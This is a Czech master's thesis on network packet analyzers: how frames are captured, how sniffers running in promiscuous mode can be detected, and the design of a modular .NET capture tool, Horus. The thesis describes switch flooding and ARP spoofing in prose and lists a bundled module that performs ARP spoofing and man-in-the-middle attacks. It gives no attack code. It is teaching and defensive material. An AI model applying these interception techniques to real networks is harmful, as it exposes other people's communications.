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ANOTACE 
Práce se věnuje programům pro sledování síťové komunikace a bezpečnosti 
počítačových sítí. Je zde popsán způsob zpracování přijatých rámců na síťové kartě 
a také v protokolovém ovladači. V další části je popsána funkce aplikace pro 
zachytávání a analýzu síťové komunikace, která dokáže rámce také generovat. 
Tento program je určený pro operační systémy Windows a je vytvořen jako 
modulární a tím také snadno rozšiřitelný pomocí DLL knihoven. Zdrojové kódy je 
možné nalézt na přiloženém CD. 
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ABSTRACT  
This document describes software for network traffic analysis a network security 
monitoring. The way of processing captured frames in network cards and in 
protocol drivers is also described here.  Second part attends to function of packet 
capture and network communication analysis software which can also generate 
traffic. This application is designed for Windows operating systems and is created 
as modular and easily extensible using DLL libraries. Source code of this 
application can be found on appended CD. 
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ÚVOD  
Náplní této diplomové práce je seznámit se s možnostmi monitorování síťové 
komunikace, dále se způsobem fungování a využitím takovýchto programů a také 
s možnostmi, jak se bránit nelegálnímu využívání podobných aplikací. Práce od 
čtenářů očekává alespoň základní znalosti fungování síťových modelů, především 
TCP/IP a způsoby fungování sítě a síťových prvků. 
Práce se věnuje způsobu zpracování rámců na koncových zařízeních jak na 
hardwarové vrstvě, tak i na vrstvě softwarové a to především v operačních 
systémech platformy Microsoft/x86. 
Tyto znalosti jsou dále použity k vytvoření aplikace pro zachytávání, 
zpracování a upravování síťové komunikace. Aplikace je primárně programována 
pro operační systém Windows. Díky použití technologie .NET je ale možné ji po 
rozšíření o některé moduly spouštět i na jiných platformách za pomoci prostředí 
Mono. 
Tato práce si klade za cíl vytvořit program vhodný pro použití při výuce 
fungování sítí, práce síťových protokolů a v neposlední řadě i pro demonstraci 
útoků na síťový přenos. Aplikace je modulární, takže její chování bude možné 
později upravit pomocí vhodných doplňků. 
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1. PAKETOVÝ ANALYZÁTOR  
Paketový analyzátor (někdy také síťový analyzátor nebo sniffer1) je speciální 
hardware, nebo software sloužící k zachytávání, dekódování a analýze veškeré 
komunikace probíhající po síťovém médiu [1]. 
Možnosti těchto zařízení bývají velmi rozsáhlé a univerzální. Obvykle záleží 
především na přenosovém médiu a v případě softwarových analyzátorů také na 
hardwarových schopnostech použitého počítače, neboť zpracování přijatých 
rámců je velmi náročné na paměťové přístupy. 
1.1.POUŽITÍ  
Analyzátory se používají především pro testování počítačových sítí. Pomocí nich je 
možné zjistit například kvalitu nebo rychlost síťového připojení. Velmi časté 
použití je pro snižování zatížení sítě. Pokud analýza běží dostatečně dlouho, 
dostaneme poměrně kvalitní statistiky o tom, kdo a s kým komunikuje, a podle 
toho můžeme překonfigurovat nastavení sítě, případně omezit nepotřebné 
přenosy na minimum a ušetřit tak přenosovou kapacitu. 
Často se používá také jako kontrola při tvorbě programů, které nějaký 
způsobem síť využívají. Mohou to být internetové prohlížeče, komunikační 
programy, ale také hry a podobně. Programátor se tak dozví, jak často, kam a 
hlavně jaká data vlastně jeho aplikace odesílá. 
Opakem pro tvorbu programů je reverzní inženýrství. I zde jsou paketové 
analyzátory silným nástrojem, především pro zpětnou definici protokolů. Tímto 
způsobem byl například prozkoumán komunikační protokol používaný v IM sítích 
MSN [2] nebo na ICQ. Toto použití může být v některých zemích protizákonné. 
V ČR je ošetřeno zákonem 121/2000 Sb. $66 – „Omezení rozsahu práv autora k 
počítačovému programu“ a je považováno za legální [3]. 
Významnou oblast použití tvoří také realizace síťových útoků. Obvykle se 
jedná o zachytávání používaných hesel, jejich dekódování a velmi často také o 
změnu přenášených dat. To je možné především kvůli chybám v definicích 
protokolů, které obvykle pocházejí z dob, kdy ještě síťová bezpečnost nebyla brána 
příliš vážně. V tomto případě je často nutné použít software, který umožňuje 
pakety také generovat a tím přesměrovat síťovou komunikaci [1]. 
V neposlední řadě se podobné aplikace používají ve školství pro výuku 
fungování sítě, protokolů a také aplikací na nich založených. Moje práce se věnuje 
především tomuto tématu. Proto bude aplikace umět pakety nejen analyzovat, ale 
také manuálně nebo automaticky generovat. 
                                                        
1 V problematice síťové bezpečnosti se názvy většinou nepřekládají do češtiny. 
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1.2.PODOBNÝ SOFTWARE  
Existuje i software, který je podobný paketovým analyzátorům, ale je zaměřený 
pouze jedním směrem. Jde o software pro detekci útoků – Intrusion Detection 
System (dále jen IDS). Tyto programy jsou automatizované a dokáží se samy 
rozhodnout, jak se k danému útoku zachovat. Existují softwary, které zachycují 
veškerou komunikaci přicházející do firmy, a pokud rozpoznají pakety, které jsou 
směrované na neexistující počítače/neotevřené porty, předpokládají, že jde o útok. 
Začnou samy sebe vydávat za cílový počítač a snaží se s útočníkem komunikovat – 
např. se snaží udržet spojení co nejdéle otevřené, aby bylo možné zjistit, odkud 
útok pochází [4], [5]. Útočník se tak ani nedozví, jestli stanice, na kterou se snaží 
připojit, existuje, nebo ne. V tomto případě se jedná o software označovaný jako 
síťový – hlídá útoky na celou síť. Dalším typem je hostitelský systém, který se stará 
pouze o jeden počítač [4]. 
1.3.PODOBNÝ HARDWARE  
Některý specializovaný hardware je svou funkcí velmi podobný paketovým 
analyzátorům a nemusí se vždy jednat o analýzu sítě. Svým způsobem je i běžný 
osciloskop analyzátor. Existují ale i specializované analyzátory, například pro GSM 
sítě nebo měřící televizní přijímače, které zobrazují úroveň signálu, měří šum, 
provádějí spektrální analýzu nebo sestavují výsledný obraz. Takováto zařízení 
bývají často malá, lehká a napájená z baterií, aby je bylo možné používat i v terénu. 
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2. SÍŤOVÝ MODEL  
Pro popis síťových zařízení a programů se používají síťové modely, z nichž 
nejznámější a v počítačových sítích nejpoužívanější je TCP/IP model. 
Aplikační vrstva 
Transportní vrstva 
Síťová/Internetová 
vrstva 
Linková vrstva 
Obrázek 1: TCP/IP model 
Každá vrstva obsahuje ještě několik podvrstev a záleží především na 
programátorovi, jak tento model implementuje. V mém programu probíhá veškeré 
zpracování dat pouze ve dvou vrstvách – analýza a filtrování. Podrobnější popis 
zpracování paketů bude popsán v kapitole 4. Zachycení paketu. a 6.6.3. Zpracování 
rámců. 
2.1.RÁMCE,  PAKETY,  …  
Používané názvosloví bývá často zmatené. Na úrovni fyzického přenosu dat po 
médiu se používá název rámec. Ten má záhlaví, data a zápatí. Své vlastní části 
(záhlaví, zápatí) přidává především kvůli elektronickým vlastnostem přenosu – 
synchronizace vysílače a přijímače, chybová kontrola, případně i oprava. 
Slovem paket se označuje blok, který obsahuje pouze data nesoucí 
informace. Paket vznikne oddělením synchronizačních bitů od přijatého rámce. Na 
transportní vrstvě se používá označení segment a na aplikační vrstvě zpráva. 
Toto označení je poměrně zbytečné, protože se v každém případě jedná 
pouze o pole bytů. Navíc je možné, aby byla některá vrstva použita vícekrát2, takže 
názvosloví pak není jednoznačné. 
 V této práci se budu držet označení paket pro data na jakékoliv vrstvě. 
Slovem rámec označuji pouze data bezprostředně přijatá síťovou kartou – bez 
jakékoliv úpravy. 
   
Aplikační 
data 
 Zpráva 
 
  
Transportní 
záhlaví 
Data  Segment 
 
 
Internetové 
záhlaví 
Data  Paket 
 
Linkové 
záhlaví 
Data 
Linkové 
zápatí 
Rámec 
Obrázek 2: Skládání dat v TCP/IP modelu 
                                                        
2 Nejčastěji síťová vrstva z důvodu tunelování, nebo při použití protokolu ICMP 
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2.2.SKLÁDÁNÍ PROTOKOLŮ  
Při sestavování rámce procházejí data modelem odshora dolů, až se dostanou 
k ovladači zařízení, který je odešle. Každá vrstva přidá svou část3, která udává, jaký 
protokol je použit a jak mají být data zpracována sítí i cílovým zařízením. Žádná 
vrstva nesmí upravovat data jiných vrstev – smí je pouze číst z důvodů výpočtů 
kontrolních součtů a ověřování dat. Výjimkou je pouze šifrování a komprese. I 
v tomto případě však musí příjemce data převést do stejné podoby, v jaké byla 
odeslána. Toto zpracování se zdá velmi jednoduché. Ve skutečnosti je jeho 
naprogramování velmi složité. Celý tento proces je náročný na paměť i na počet 
paměťových přesunů. Až donedávna zpracovávaly operační systémy přijaté rámce 
pouze v jednom vlákně. Paralelní zpracování je v současné době novinka4. Otázka 
výkonu při použití síťových analyzátorů je popsána v kapitole 4.3. Paketové 
analyzátory. 
2.3.PAKETOVÉ ANALYZÁTORY  V SÍŤOVÉM MODELU  
Důležitým úkolem síťových modelů je odfiltrovat nežádoucí data a aplikaci 
poskytnout pouze ta data, o která požádala. Nemůže se tak stát, že např. 
internetový prohlížeč přijme data určená komunikačnímu klientovi. Zároveň se 
síťová architektura musí postarat o doručení, případně o informování odesílatele o 
chybě.  
Jak již bylo řečeno dříve, paketové analyzátory slouží k zachytávání veškeré 
komunikace. To však nejde dohromady se síťovým modelem, a je proto nutné ho 
nějakým způsobem obejít. 
Nejjednodušší způsob je využít specifickou vlastnost modelu TCP/IP. Ta 
umožňuje přeskočit některé vrstvy, a dovolí tak aplikaci vytvořit vlastní paket na 
síťové vrstvě. Tento přístup je velmi omezený a ještě před odesláním proběhne 
několik kontrol na správnost dat. Zároveň je možné přijímat pouze některá 
„povolená“ data. Toto se používá při programování aplikací typu ping, traceroute a 
podobně. 
Analyzátory používají takový přístup, že TCP/IP model nahradí svým 
vlastním protokolovým ovladačem, a umožní jim tak dělat se síťovými daty 
cokoliv. Více v kapitole 4.2. Operační systém. 
                                                        
3 Většinou se přidává pouze hlavička. Záhlaví se přidává až na fyzické vrstvě z důvodů správného 
zpracování elektronického signálu. 
4 rok 2007 - 2008  
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3. SMĚROVÁNÍ PAKETU  
Pro ušetření síťových prostředků je paket sítí směrován co 
nejkratší/nejvýhodnější cestou od svého odesílatele k příjemci. Je logické, že pokud 
analyzátor není na cestě mezi těmito dvěma body, nemůže paket přijmout, a tedy 
ani analyzovat. Pro propojování síťových klientů se používá několik různých 
zařízení. 
3.1.HUB 
Hub je nejjednodušší zařízení, které se používá k propojení klientů. Jde vlastně o 
pouhý zesilovač. Zařízení vytváří sběrnicovou topologii a data nijak nesměruje -> 
každý rámec, který přijme, odešle všem připojeným klientů s výjimkou odesílatele. 
Analýza paketů na hubu je velmi jednoduchá, neboť propojovací prvek se sám 
postará o doručení dat k analyzátoru. Tato vlastnost se však nedá využít při úpravě 
síťové komunikace, neboť správná data k příjemci v každém případě dorazí a to 
vždy před upravenými daty. 
3.2.SWITCH 
Switch analyzuje přijatá data a podle toho rozhodne, kam je nutné je přeposlat. 
Z toho vyplývá, že data se dostanou pouze tam, kam mají a ne přímo k síťovému 
analyzátoru. To je možné řešit několika způsoby. Kvalitnější (a samozřejmě dražší) 
switche mají tzv. monitorovací port, na který kopírují veškerou komunikaci, která 
přes ně prochází. Levnější switche je možné zahltit falešnými pakety. Tím dojde 
k přeplnění jejich tabulek a k přepnutí do režimu HUBu. Výrobci často neudávají, 
kolik položek je možné do tabulek uložit, ale v dnešní době je tento způsob již 
neúčinný, neboť paměti jsou i na zařízeních určených pro domácí použití tak velké, 
že dokáží uchovat, v závislosti na počtu portů, tisíce záznamů [6], [7]. Další 
metodou je použití útoku typu ARP Spoofing. Dojde tak k přesměrování na vyšší 
vrstvě, než na jaké switch pracuje, a tím data dorazí k útočníkovi a ne k pravému 
příjemci. 
Obě poslední metody hraničí se zákonem a otázka jejich legálnosti je mimo 
téma tohoto projektu. 
3.3.ROUTER 
Router směruje data na síťové vrstvě přímo k příjemci, a proto není možné data 
legálně5 zachytit a analyzovat. Komunikace mezi routery může být šifrovaná, a 
tudíž bez znalosti dešifrovacího klíče nesmyslná. 
                                                        
5 Existují útoky jako např. DNS poisoning. 
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4. ZACHYCENÍ PAKETU  
V následujících kapitolách je popsáno zachycení a zpracování rámců v síťových 
analyzátorech. 
4.1.S ÍŤOVÁ  KARTA  
Síťová karta je první blok, kterým musí rámec při příjmu projít. Proto už zde 
probíhá základní filtrování. Každé síťové rozhraní musí mít od výrobce určenou 
jednoznačnou MAC adresu. V případě sítí založených na ethernetu je tato adresa 
dlouhá šest bytů. První tři byty určují výrobce zařízení, druhou trojici může daný 
výrobce libovolně použít. Existují i speciální adresy, které patří všem počítačům, 
nebo jen skupinám. Podle této adresy probíhá směrování ve switchi.  
4.1.1.  NORMÁLNÍ REŽIM  
Síťová karta přijímá rámce, které jsou určeny pro ni (pozná porovnáním cílové 
adresy v rámci se svojí vlastní adresou) a ostatní rámce zahazuje – nepředává 
vyšším vrstvám modelu. Toto filtrování je prováděno hardwarově a nezatěžuje 
tedy procesor počítače. 
Každá karta má paměť pro několik vlastních adres. Vždy je to adresa určená 
výrobcem a adresa všesměrového vysílání. Dále je možné nastavit několik 
vlastních skupinových adres. Pokud je zvoleno příliš mnoho skupinových adres, 
přepne se síťová karta automaticky do dalšího režimu, ve kterém zachytává 
veškerou multicastovou komunikaci. V tomto případě se o filtrování musí postarat 
vyšší vrstvy softwarově. 
4.1.2.  PROMISKUITNÍ  REŽIM  
V promiskuitním režimu 6  karta nezahazuje žádný rámec a vše, co přijala, 
automaticky předává vyšším vrstvám – operačnímu systému. 
4.1.3.  MONITOROVACÍ  REŽIM  
Jde o režim dostupný pouze na některých bezdrátových síťových kartách jako WiFi 
nebo Bluetooth a často pouze se speciálními upravenými ovladači. V tomto módu 
se dokáže bezdrátová karta naladit na určitou frekvenci a na ní zachytávat data i 
bez připojení k síti. Existují i karty, které dokáží v tomto režimu data odesílat. 
4.2.OPERAČNÍ  SYSTÉM  
Jakmile síťová karta přijme rámec a rozhodne se ho nezahodit, předá ho pomocí 
svých ovladačů operačnímu systému. Ten podle svého nastavení provede 
dešifrování, dekomprimaci7 a případně i filtrování na základě svého firewallu. Poté 
                                                        
6 Promiscuous mode, promisc mode, často také P-mode 
7 V závislosti na typu připojení – VPN, Dial-UP, … 
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je přijatý rámec zkopírován pro každý síťový model (označovaný jako protocol 
stack) nainstalovaný v systému. 
Síťové modely jsou v operačním systému Windows implementovány jako 
ovladače8. V případě protokolu TCP/IP se jedná o ovladač tcpip.sys. Ten provádí 
zpracování rámců podle specifikací protokolů vyšších vrstev a stará se o doručení 
dat aplikaci, které patří [8]. 
 
Režim jádra
Uživatelský režim
Vrstva NDIS
Vrstva TDI
Další ovladače
NDIS Intermediate
Protocol Drivers
Fyzický HW
Fyzický HW
Fyzický HW - NIC
Firefox
Wireshark
Firefox
Firefox
Firefox
???
Ovladač HW – Miniport Driver
Ovladač HW – Miniport Driver
Ovladač HW – Miniport Driver
Podpora 
socketů
pro TCP/IP
tcpip.sys
npf.sys
(WinPcap)
???
???
???
 
Obrázek 3: Architektura NDIS5.x 
                                                        
8 NDIS Protocol driver 
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4.3.PAKETOVÉ ANALYZÁTORY  
Jak již bylo řečeno, paketový analyzátor musí obejít síťové modely. To se dělá 
takovým způsobem, že součástí analyzátoru je i protokolový ovladač. Operační 
systém tomuto ovladači předá veškerá data, která přijal (podle nastavení může 
předávat i data, která odeslaly jiné protokoly). Tento ovladač pak už data pouze 
předá paketovému analyzátoru ke zpracování. 
Z obrázku je vidět, že ovladače běží v režimu jádra, zatímco aplikace běží 
v uživatelském režimu. Proto je nutné i data přesunout do paměti přístupné 
aplikaci. To je jedna z největších zátěží při používání síťových analyzátorů. Veškerá 
data jsou několikrát zbytečně kopírována. Z toho důvodu se do protokolových 
ovladačů implementují jednoduché filtry, které paket zpracují už v režimu jádra a 
umožní tak ušetřit paměťové přesuny. Filtry běžící v režimu jádra se v aplikacích 
obvykle označují jako „Capture filter“, zatímco filtry v uživatelském režimu jako 
„Display filter“ [9]. 
4.3.1.  BERKELEY PACKET F ILTER –  BPF 
Je jazyk pro programování filtrů. Je velmi jednoduchý, a tím také rychlý. V podstatě 
se jedná pouze o definice očekávaných hodnot na paměťových místech. Výhodou 
filtru je, že se přeloží do kódu spustitelného na daném procesoru, a je tak velmi 
rychlý. Výsledkem je buď „Zahoď paket“ nebo „Pošli paket dál“. Nevýhodou 
zachytávacích filtrů je, že pokud je špatně nastavíme, přijdeme nenávratně o data, 
která mohla být důležitá [9]. 
 
pokud ((13. byte == 0x08) a (14. byte == 0x00)) 
{ 
 zahoď packet. 
} 
Obrázek 4: Příklad BPF filtru, který zahodí všechny IPv4 pakety 
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5. DETEKCE ZACHYTÁVACÍCH PROGRAMŮ  
Jak již bylo řečeno výše, lze paketové analyzátory použít i k účelům odposlechu a 
zachytávání cizích dat. Tomu se lze samozřejmě bránit používáním šifrované 
komunikace. Ne všechny aplikace a hardwarové zařízení však šifrování podporují. 
Proto existují metody, jak na sítí nalézt útočníka. Vychází se z předpokladu, že 
útočník používá síťovou kartu v promiskuitním režimu. Pokud by toto neudělal, 
zachytil by pouze svůj vlastní přenos. 
Detekce takovýchto programů není stoprocentní. Ve skutečnosti nelze 
vyhledat útočníka na síti, ale pouze ověřit, zda konkrétní síťová karta není 
přepnutá do promiskuitního režimu. Pro kontrolu celé sítě je nutné ověřit každého 
klienta zvlášť. Mohou se také objevit falešné poplachy. Například programy 
vytvářející virtuální počítače (VirtualPC, VMWare, …) přepínají síťovou kartu do 
promiskuitního režimu kvůli nastavení více MAC adres [10]. Stejně tak se šikovný 
útočník dokáže skrývat, například vypnutím všech síťových ovladačů (především 
TCP/IP), kromě těch, které nutně potřebuje. 
5.1.DNS  TEST  
Přepokládá se, že zachytávací program zanalyzuje paket a pokusí se ze zjištěných 
IP adres pomocí služby DNS zjistit jméno odesílatele a příjemce. Pro útočníka je 
výhodné znát jméno stanic, protože servery jsou často pojmenovány podle služeb, 
jaké nabízejí9. Test probíhá následujícím způsobem. Na síť je odeslán paket, který 
je směrovaný na neexistující IP adresu. Zároveň se kontroluje veškerý provoz. 
Pokud je zachycen DNS dotaz na tuto IP adresu, tak někdo zachytil paket, který měl 
být ve skutečnosti nedoručitelný a tudíž zahozen [11]. 
5.2.ARP  TEST 1 
Využívá neúplné implementace adresového filtru v ovladačích síťových karet ve 
Windows10 [11]. Jakmile je síťová karta přepnutá do promiskuitního režimu, 
zachytává všechny pakety a o filtrování se stará ovladač síťové karty. Všesměrová 
adresa je ff:ff:ff:ff:ff:ff, ale ovladače kontrolují pouze první bajt a pokud je nastaven 
na ff, je paket považován za broadcast. Test tedy odesílá na síť dotazy určené pro 
fyzickou adresu ff:00:00:00:00:00. Běžný hardwarový filtr tyto pakety zahodí. 
Softwarový filtr však považuje paket za správný a předá ho vyšší vrstvě – 
protokolu ARP – ke zpracování. Pokud dorazí odpověď na tento ARP dotaz, je 
síťová karta přepnutá do promiskuitního režimu. 
  
                                                        
9 např. pop3.centrum.cz atd. 
10 Tato slabina by měla být zneužitelná pouze v některých ovladačích dodávaných s OS Windows. 
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5.3.ARP  TEST 2 
Odešle ARP odpověď na neexistující MAC adresu. Stanice, která je v promiskuitním 
režimu, paket přijme a aktualizuje záznamy ve svých tabulkách. Poté je odeslán 
ping na broadcastovou adresu, takže odpoví všechny stanice, s výjimkou těch, 
které mají falešný záznam ve svých tabulkách [12], [13]. 
5.4.KONTROLA ARP  CACHE  
Jde o pasivní test, který monitoruje pouze lokální ARP tabulku. Každá změna v této 
tabulce znamená, že se útočník snaží přesměrovat komunikaci. Využívá se toho, že 
na sítích používajících switche musí být útočník aktivní – nestačí pouze přijímat 
data [7]. 
5.5.P ING TEST  
Je určený pro testování unixových operačních systémů. Některé verze 
protokolových ovladačů nekontrolují cílovou MAC adresu přijatého paketu, ale 
pouze IP adresu. Test probíhá tak, že se odešle ping na správnou IP adresu, ale na 
náhodnou MAC adresu [11]. Pokud stanice odpoví, znamená to, že zpracovala 
paket, který nebyl určen pro ni. 
5.6.TESTY ZPOŽDĚNÍ  
Využívají toho, že filtrování neprobíhá v hardwaru, ale v softwaru. Procesor 
počítače je tedy více zatížen, a proto vzniká větší zpoždění [12]. 
5.6.1.  ICMP  TI ME DELTA  TEST  
Nejdříve se pomocí několika běžných pingů ověří průměrná doba zpoždění. Poté se 
začne odesílat velké množství náhodných paketů a během toho se odešle další kolo 
pingů. Pokud se průměrné doby odpovědi výrazně liší, znamená to, že je cílová 
stanice daleko více zatížena, než byla předtím, a je tedy velká pravděpodobnost, že 
právě zpracovává námi vygenerované falešné pakety [11]. 
5.6.2.  ECHO  TEST  
Je pouze jinou variantou ICMP time delta testu. V tomto případě se však používá 
služba ECHO [12]. 
5.6.3.  P ING DROP TEST  
Využívá také vyššího zatížení cílové stanice. Cíl je zahlcen ping pakety. Pokud je 
ztráta paketů velmi vysoká, dá se předpokládat, že síťová karta je v promiskuitním 
režimu [12]. 
5.7.SLUŽBA WMI 
Na systémech Windows řady NT je možné zjistit stav síťové karty vzdáleného 
počítače pomocí služby WMI a nástroje promqry [10]. 
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6. PROGRAM PRO ZACHYTÁVÁNÍ DAT  
6.1.JAZYK  
Pro vytvoření mého programu jsem zvolil platformu .NET především kvůli 
možnosti použít takto vytvořený program i na operačním systému Linux. Zároveň 
tvorba uživatelského rozhraní bude v porovnání s jazykem C++ výrazně 
jednodušší. Další výhodou je, že součástí .NETu je i překladač, takže bude možné 
snadno vytvořit skriptovací jazyk pro definici protokolů. 
6.2.STRUKTURA  
Celé jádro programu je uloženo v DLL knihovně pojmenované jako Horus.Core.dll. 
Tento modul vykonává veškerou činnost související se zachytáváním a 
zpracováním rámců. Protože se jedná o běžnou DLL knihovnu vytvořenou pro 
platformu .NET, je možné k ní vytvořit jakékoliv uživatelské rozhraní (grafické/ 
konzolové) v libovolném jazyce (C#, C++, VB.NET, …). V mém programovém balíku 
je přiloženo grafické uživatelské rozhraní napsané v jazyce C#. To je možné spustit 
programem Horus.exe. 
6.2.1.  HORUS.CORE.DLL  
Tato knihovna slouží jako základ pro běh programu. Zároveň obsahuje rozhraní a 
definice tříd pro vytváření přídavných komponent. Všechny třídy v této knihovně 
jsou statické, je tedy možné ji používat s minimálním množstvím kódu. 
Jednotlivé části knihovny jsou rozděleny do jmenných prostorů podle toho, 
jakou funkci vykonávají.  Jsou to prostory Horus.Core, který se stará o běh 
programu a Horus.Base, podle kterého je možné vytvářet přídavné moduly. 
6.2.2.  HORUS.EXE  
Je spustitelný program, který vytváří rozhraní mezi uživatelem a knihovnou 
Horus.Core.dll. Pomocí něj je možné řídit zachytávání, nastavovat parametry, 
zobrazovat zachycené pakety nebo číst informace o stavu jádra. 
6.2.3.  MODULY  
Program je navržen tak, aby bylo jeho funkce možné rozšířit, případně upravit 
pomocí DLL knihoven. Ty existují v pěti typech. Přestože v jedné DLL knihovně 
může být neomezený počet různých typů modulů, doporučuji vždy do jedné 
knihovny vložit pouze jeden modul. 
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Capture Module 
Jeden typ modulů zajišťuje zachytávání a odesílání rámců. Například modul 
využívající knihovnu WinPCap zachytává data ze síťových rozhraní. Další 
zachytává data ze sériové linky11, nebo z bluetooth a podobně. Doporučené 
pojmenování pro tyto knihovny je Horus.CaptureModule.jmeno_modulu.dll. Vznikají 
vytvořením odvozených tříd z Horus.Base.CaptureModule 
Compiler 
Tento modul má za úkol překládat zdrojový text z jazyka C# do spustitelného kódu 
ve formě DLL knihovny. Je využíván při vytváření filtrů nebo při překladu parserů. 
Doporučené pojmenování je Horus.Compiler.jmeno_prekladace.dll. Hlavičky 
překladačů jsou definovány v Horus.Base.Compiler 
DPModule 
Data Processing Module obstarává úpravu a generování síťové komunikace. Tyto 
knihovny mohou realizovat jednoduché síťové útoky typu Man in the middle nebo 
ARP Spoofing. Doporučené pojmenování je Horus.DPModule.funkce_modulu.dll. 
Vznikají odvozením od tříd definovaných v Horus.Base.DPModule. 
IFieldFiller 
Slouží k vyplňování hodnot datových polí při generování rámců. Jde například o 
výpočty kontrolních součtů, vkládání času, náhodných hodnot a podobně. Ty je 
možné použít jak při ručním vytváření paketů, tak i při použití automatických 
generátorů. Jméno modulu by mělo dodržovat pravidlo 
Horus.IFieldFiller.datove_pole.dll. Ve jmenném prostoru Horus.Base.IFieldFiller jsou 
nadefinovány všechny potřebné hlavičky. 
Parser 
Určují způsob zpracování přijatých rámců a získávání hodnot z přijatých dat. Jde o 
speciální typ modulů, který není uložen ve spustitelné formě jako DLL knihovna, 
ale v textových souborech s příponou cs. Po spuštění načte program tyto soubory, 
a přeloží je do spustitelného kódu ve formě knihovny DLL, kterou později načte a 
použije při zpracovávání přijatých rámců. Je tak zajištěno to, že protokoly lze 
přidávat i po dokončení programu, zároveň však je zpracování dat velmi rychlé. 
Třídy potřebné k nadefinování protokolů jsou uloženy v Horus.Base.Parsers. 
Protože jde o velké množství malých souborů, je nutné dodržovat základní pravidla 
pro jejich pojmenování a umístění. 
  
                                                        
11 Například pro zachytávání komunikace GPS 
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Horus.Parsers 
 
Základní adresář 
 Fields Adresář obsahující definice datových polí 
 Jména souborů by měla být ve srozumitelné formě – např: 
IPv4_Address.cs 
 Frames Adresář obsahující definice rámců 
Například Ethernetframe.cs 
 MultiFields Adresář obsahující definice skupin datových polí 
Například IPv4_TOS.cs 
 Protocols Adresář obsahující definice protokolů 
Například IPv4.cs 
 Fields.cs V tomto souboru je nadefinován objekt, který obsahuje seznam 
veškerých dostupných datových polí (včetně skupin datových polí) 
 Protocols.cs V tomto souboru je nadefinován seznam všech dostupných 
protokolů 
 
Současná vývojová verze programu nepřekládá parsery za běhu programu, 
ale současně s ostatními komponenty. Je to z toho důvodu, že část kódu přeloženou 
později nelze odlaďovat. 
Příklady definice protokolů jsou uvedeny v kapitole 0.   
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Definice protokolů.  
Součástí programového balíku jsou tyto moduly 
Capture Module Horus.CaptureModule  
 COM Slouží k zachytávání dat z GPS připojení pomocí 
seriové linky 
Win/Linux 
 WinPCap Zachytává data pomocí knihovny WinPCAP Win 
 libpcap Zachytává data pomocí knihovny libpcap Linux 
 PCAP_NG Načítá uložené pakety ze souboru ve formátu 
PCAP Next Generation 
Win/Linux 
Compiler Horus.Compiler  
 MS Překladač csc Win 
Data Processing Module Horus.DPModule  
 ARPSpoof Provádí útok ARP Spoofing podle zadaných 
parametrů 
Win/Linux 
IFieldFiller Horus.IFieldFiller  
 U4BRandom Generuje náhodné číslo o délce 4B Win/Linux 
Parser  Horus.Parsers  
Seznam definovaných polí a protokolů je uveden v Příloha 1 – Definované 
protokoly a datová pole 
Win/Linux 
 
6.3.JMENNÉ PROSTORY  KNIHOVNY HORUS.CORE.DLL  
V této kapitole jsou popsány pouze prostory přístupné programátorům, kteří chtějí 
vytvořit vlastní uživatelské rozhraní nebo přídavné moduly. 
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6.3.1.  HORUS.BASE.ATTRIBUTES  
Třídy definované v tomto namespace umožňují konfigurovat jednotlivé moduly 
pomocí uživatelského rozhraní. Každý modul si může určit, které své proměnné je 
nutné nastavit, a uživatelské rozhraní podle toho sestaví dialog, ve kterém bude 
možné tyto hodnoty nastavit. 
V současné době je k dispozici šest druhů hodnot 
 Výběr MAC adresy 
 Výběr IP adresy 
 Výběr zařízení pro odesílání 
 Logická hodnota Ano/Ne 
 Výběr čísla z určeného rozsahu 
 Výběr souboru 
 
 Obrázek 5: Diagram tříd ve jmenném prostoru Horus.Base.Attributes  
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6.3.2.  HORUS.BASE.CAPTUREMODULE  
V tomto jmenném prostoru jsou nadefinovány hlavičky zachytávacích modulů. 
Pokud chce programátor vytvořit vlastní modul přistupující k hardwaru, musí 
použít tento namespace. Jádro programu v knihovně nejdříve najde třídu 
s rozhraním IDevice_Enumerator. Ta musí vrátit pole objektů DeviceDescription12, 
které popisují nalezený hardware. Informace z tohoto pole jsou předány 
uživatelskému rozhraní, kde je možné si vybrat, který hardware bude použit pro 
zachytávání. Zároveň musí tento modul vytvořit třídy s rozhraním IDevice pro 
každé nalezené zařízení. Pokud programátor implementuje IFrameSender nebo 
IFrameCapture, určuje tím, že zařízení je schopné odesílat, respektive zachytávat 
data. 
V namespace jsou vytvořeny abstraktní třídy, ze kterých je možné vyjít při 
tvorbě vlastního modulu 
 Device  
Obsahuje pouze základní funkce pro nastavení jména zařízení, 
otevření apod. 
 CaptureDevice 
K Device navíc přidává některé funkce a události nutné pro správné 
zachycení dat 
 CaptureDevice_Threaded 
je stejné jako CaptureDevice, navíc však spustí zachytávání v nově 
vytvořeném vlákně13. 
 
                                                        
12 IDevice_Enumerator může nabízet například čtení ze sériových portů. Musí tedy vrátit pro každý 
nalezený port jedno zařízení 
13  Zachytávání dat z jakéhokoliv zařízení musí vždy běžet ve vlastním vlákně. V některých 
případech však může toto vlákno spravovat operační systém – např. sériová linka v .NET. 
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Obrázek 6: Diagram tříd ve jmenném prostoru Horus.Base.CaptureModule 
6.3.3.  HORUS.BASE.COMPILER  
Program musí být schopný načíst definice protokolů uložené v textových 
souborech. To je však pro běh aplikace nevhodné, protože zpracování textu je 
velmi pomalé. Je proto nutné přeložit texty do binární, spustitelné formy. K tomu 
slouží překladač. Ten je však pro různé platformy .NET/Mono různý, a proto musí 
být vyřešen jako modul, čímž je zajištěno, že se vždy použije ten správný. 
Modul překladače využívá jádro programu k překladu definic protokolů a 
dále k sestavování filtrovacích objektů  
6.3.4.  HORUS.BASE.DPMODULE  
Data Processing modul je plugin, který slouží ke generování a úpravě přijatých dat. 
Pro lepší uživatelské ovládání je každý modul opatřen dvěma atributy – jménem a 
krátkým popisem činnosti. 
6.3.5.  HORUS.BASE.IF IELDF ILLER  
Tento namespace není dokončený – jedná se pouze o návrh, který má k plné 
funkčnosti stále daleko. Bude mít za úkol definovat objekty, které se postarají o 
vyplnění hodnot do datových polí při generování paketů. 
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6.3.6.  HORUS.BASE.IF ILTER  
Tento namespace je pro programátora nezajímavý. Slouží k vytváření filtrů, které 
generuje jádro programu automaticky jako DLL knihovny. Proto musí být toto 
rozhraní veřejně přístupné. 
6.3.7.  HORUS.BASE.PARSERS  
Tento namespace je základem pro tvorbu definic protokolů. Nejdůležitější jsou 
třídy pojmenované Base_*. Ty slouží k vytváření jednotlivých protokolů nebo 
datových polí. 
 Base_Object a Base_MultiObject mají význam pouze pro vnitřní zpracování 
dat a pro programátora jsou nezajímavé. 
 Base_Field je třída, ze které vznikají definice polí – například IP adresa, Port, 
kontrolní součet apod. Při tvorbě těchto objektů je možné použít dědičnost, 
